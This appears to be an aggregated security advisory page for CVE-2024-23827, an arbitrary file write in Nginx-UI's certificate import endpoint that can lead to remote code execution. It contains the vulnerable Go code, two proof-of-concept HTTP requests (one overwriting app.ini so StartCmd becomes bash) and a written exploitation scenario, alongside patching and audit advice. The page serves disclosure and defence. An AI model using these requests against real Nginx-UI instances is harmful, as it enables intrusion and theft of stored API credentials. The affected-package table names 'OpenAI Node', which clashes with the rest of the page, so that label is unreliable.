CVE-2024-23827: Nginx-UI: arbitrary file write via cert import leads to RCE
GHSA-xvq9-4vpv-227m CRITICALNginx-UI's certificate import endpoint accepts any attacker-supplied filesystem path and writes attacker-controlled content to it without ever checking that the payload is actually a certificate or key, turning a routine 'import cert' API call into an arbitrary file write primitive (CWE-22, CVSS 9.8 critical). An account with API access can overwrite nginx-ui's own app.ini configuration file, set StartCmd to bash, and obtain a shell as the nginx-ui process once the service restarts — with 4,631 downstream dependents this reaches a meaningful footprint of self-hosted nginx admin panels, some of which store an OpenAI API token and proxy URL in that same config file. Despite the critical rating, EPSS sits at only 0.699% (51st percentile), the CVE is not in CISA KEV, and no public exploit tooling or Nuclei template exists, so this reads as high-impact-but-low-current-exploitation rather than an actively weaponized threat. A fix has been available since commit 8581bdd (nginx-ui 1.9.10, January 2024); any instance still on an older build should be patched now and its app.ini audited for a tampered StartCmd, unexpected files under app-writable directories, or stale JwtSecret/OpenAI credentials that need rotating.
What is the risk?
Network-exploitable (AV:N), low complexity, no user interaction — the published CVSS vector marks privileges as not required, though the actual PoC carries an Authorization: JWT header, so in practice this likely requires at least a low-privilege authenticated session against the nginx-ui admin API rather than being fully unauthenticated. Impact is total (C:H/I:H/A:H): arbitrary write to any path the process user can reach, chainable to RCE by overwriting app.ini's StartCmd and forcing/waiting for a restart. Exploitation likelihood signals are currently muted — EPSS 0.699% (51st percentile), no CISA KEV listing, no Nuclei template, no known public weaponized exploit — but the bug is a year-plus old, trivial to exploit once discovered, and nginx-ui panels are commonly exposed to manage internet-facing reverse proxies, so unpatched instances remain a durable target for opportunistic scanning even without current mass exploitation.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| OpenAI Node | go | < 1.9.10-0.20240128060047-8581bdd3c6f4 | 1.9.10-0.20240128060047-8581bdd3c6f4 |
Do you use OpenAI Node? You're affected.
How severe is it?
What is the attack surface?
What should I do?
1 step-
Upgrade to nginx-ui >= 1.9.10 (any build including or after commit 8581bdd) immediately; do not delay patching cadence on this because EPSS is low, since the fix removes the entire arbitrary-write primitive. Restrict the nginx-ui admin API to a VPN/private network or IP allowlist rather than exposing it directly to the internet. Rotate JwtSecret and any OpenAI (or other) API tokens stored in app.ini if the instance was ever internet-facing pre-patch. Add file-integrity monitoring on app.ini (hash/mtime) and tighten its filesystem permissions. Audit logs for POST /api/cert calls with ssl_certificate_path/ssl_certificate_key_path values outside expected cert directories, and review recent service restarts for unexplained StartCmd or config drift.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2024-23827?
Nginx-UI's certificate import endpoint accepts any attacker-supplied filesystem path and writes attacker-controlled content to it without ever checking that the payload is actually a certificate or key, turning a routine 'import cert' API call into an arbitrary file write primitive (CWE-22, CVSS 9.8 critical). An account with API access can overwrite nginx-ui's own app.ini configuration file, set StartCmd to bash, and obtain a shell as the nginx-ui process once the service restarts — with 4,631 downstream dependents this reaches a meaningful footprint of self-hosted nginx admin panels, some of which store an OpenAI API token and proxy URL in that same config file. Despite the critical rating, EPSS sits at only 0.699% (51st percentile), the CVE is not in CISA KEV, and no public exploit tooling or Nuclei template exists, so this reads as high-impact-but-low-current-exploitation rather than an actively weaponized threat. A fix has been available since commit 8581bdd (nginx-ui 1.9.10, January 2024); any instance still on an older build should be patched now and its app.ini audited for a tampered StartCmd, unexpected files under app-writable directories, or stale JwtSecret/OpenAI credentials that need rotating.
Is CVE-2024-23827 actively exploited?
No confirmed active exploitation of CVE-2024-23827 has been reported, but organizations should still patch proactively.
How to fix CVE-2024-23827?
Upgrade to nginx-ui >= 1.9.10 (any build including or after commit 8581bdd) immediately; do not delay patching cadence on this because EPSS is low, since the fix removes the entire arbitrary-write primitive. Restrict the nginx-ui admin API to a VPN/private network or IP allowlist rather than exposing it directly to the internet. Rotate JwtSecret and any OpenAI (or other) API tokens stored in app.ini if the instance was ever internet-facing pre-patch. Add file-integrity monitoring on app.ini (hash/mtime) and tighten its filesystem permissions. Audit logs for POST /api/cert calls with ssl_certificate_path/ssl_certificate_key_path values outside expected cert directories, and review recent service restarts for unexplained StartCmd or config drift.
What systems are affected by CVE-2024-23827?
This vulnerability affects the following AI/ML architecture patterns: self-hosted LLM reverse-proxy / gateway admin panels, AI-integrated infra management tooling storing LLM API credentials in app config.
What is the CVSS score for CVE-2024-23827?
CVE-2024-23827 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 0.70%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0049 Exploit Public-Facing Application AML.T0055 Unsecured Credentials Compliance Controls Affected
What are the technical details?
Original Advisory
### Summary The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system. https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72 ```go func AddCert(c *gin.Context) { var json struct { Name string `json:"name"` SSLCertificatePath string `json:"ssl_certificate_path" binding:"required"` SSLCertificateKeyPath string `json:"ssl_certificate_key_path" binding:"required"` SSLCertificate string `json:"ssl_certificate"` SSLCertificateKey string `json:"ssl_certificate_key"` ChallengeMethod string `json:"challenge_method"` DnsCredentialID int `json:"dns_credential_id"` } if !api.BindAndValid(c, &json) { return } certModel := &model.Cert{ Name: json.Name, SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, ChallengeMethod: json.ChallengeMethod, DnsCredentialID: json.DnsCredentialID, } err := certModel.Insert() if err != nil { api.ErrHandler(c, err) return } content := &cert.Content{ SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, SSLCertificate: json.SSLCertificate, SSLCertificateKey: json.SSLCertificateKey, } err = content.WriteFile() if err != nil { api.ErrHandler(c, err) return } c.JSON(http.StatusOK, Transformer(certModel)) } ``` https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/write_file.go#L15 ```go func (c *Content) WriteFile() (err error) { // MkdirAll creates a directory named path, along with any necessary parents, // and returns nil, or else returns an error. // The permission bits perm (before umask) are used for all directories that MkdirAll creates. // If path is already a directory, MkdirAll does nothing and returns nil. err = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644) if err != nil { return } err = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644) if err != nil { return } if c.SSLCertificate != "" { err = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644) if err != nil { return } } if c.SSLCertificateKey != "" { err = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644) if err != nil { return } } return } ``` ### PoC ``` POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 144 Accept: application/json, text/plain, */* Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close {"name":"poc","ssl_certificate_path":"/tmp/test","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"test","ssl_certificate_key":"test2"} ``` ```bash root@aze:~/nginx# ls -la /tmp/test* -rw-r--r-- 1 root root 4 Jan 24 13:33 /tmp/test -rw-r--r-- 1 root root 5 Jan 24 13:33 /tmp/test2 ``` It's possible to leverage it into an RCE in a senario by overwriting the config file app.ini - But it will require the app. ```bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = login ``` Then we overwrite the `StartCmd` with `bash` ``` POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 980 Accept: application/json, text/plain, */* Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close {"name":"poc","ssl_certificate_path":"/root/nginx/app.ini","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"[server]\r\nHttpHost = 0.0.0.0\r\nHttpPort = 9000\r\nRunMode = debug\r\nJwtSecret = 504f334b-ac68-4fbc-9160-2ecbf9e5794c\r\nNodeSecret = 139ab224-9e9e-444f-987e-b3a651175ad5\r\nHTTPChallengePort = 9180\r\nEmail = props@pros.com\r\nDatabase = database\r\nStartCmd = bash\r\nCADir = dqsdqsd\r\nDemo = false\r\nPageSize = 10\r\nGithubProxy = dqsdqfsdfsdfsdfsd\r\n\r\n[nginx]\r\nAccessLogPath =\r\nErrorLogPath =\r\nConfigDir =\r\nPIDPath =\r\nTestConfigCmd =\r\nReloadCmd =\r\nRestartCmd =\r\n\r\n[openai]\r\nBaseUrl = \r\nToken =\r\nProxy =\r\nModel = \r\n\r\n[casdoor]\r\nEndpoint =\r\nClientId =\r\nClientSecret =\r\nCertificate =\r\nOrganization =\r\nApplication =\r\nRedirectUri =","ssl_certificate_key":"test2"} ``` ```bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = bash ``` For the new config to be applied the app needs to be restarted  ### Impact Arbitrary write/overwrite into the host file system with a risk of remote code execution if the app restarts.
Exploitation Scenario
An attacker who obtains any valid nginx-ui session or API token (via credential stuffing, a leaked token, or an adjacent low-privilege bug) sends a POST to /api/cert with ssl_certificate_path set to the app's own app.ini and ssl_certificate content crafted to redefine StartCmd as bash while embedding the attacker's own known JwtSecret. The AddCert handler writes this content verbatim to disk with no validation that it is an actual certificate. The attacker then triggers or waits for a service restart (e.g., via another admin action, a scheduled restart, or simply waiting for an ops team to bounce the container), at which point nginx-ui launches bash instead of its normal login flow, giving the attacker a shell as the nginx-ui process user — with access to any AI API keys, proxy configuration, and the reverse-proxy rules governing traffic to backend LLM services.
Weaknesses (CWE)
CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'): The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
- [Implementation] Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylis
- [Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H References
Timeline
Related Vulnerabilities
GHSA-vjc7-jrh9-9j86 10.0 9Router: no-auth API leaks keys, chats, provider control
Same package: openai CVE-2025-61260 9.8 OpenAI Codex CLI: RCE via malicious MCP config files
Same package: openai GHSA-gqqj-85qm-8qhf 8.7 paperclipai: connector trust bypass enables Gmail read/write
Same package: openai CVE-2026-67425 8.6 Flyto2 Core: SSRF leaks LLM API keys via base_url
Same package: openai CVE-2024-22197 7.7 Nginx-UI: authenticated command injection to RCE
Same package: openai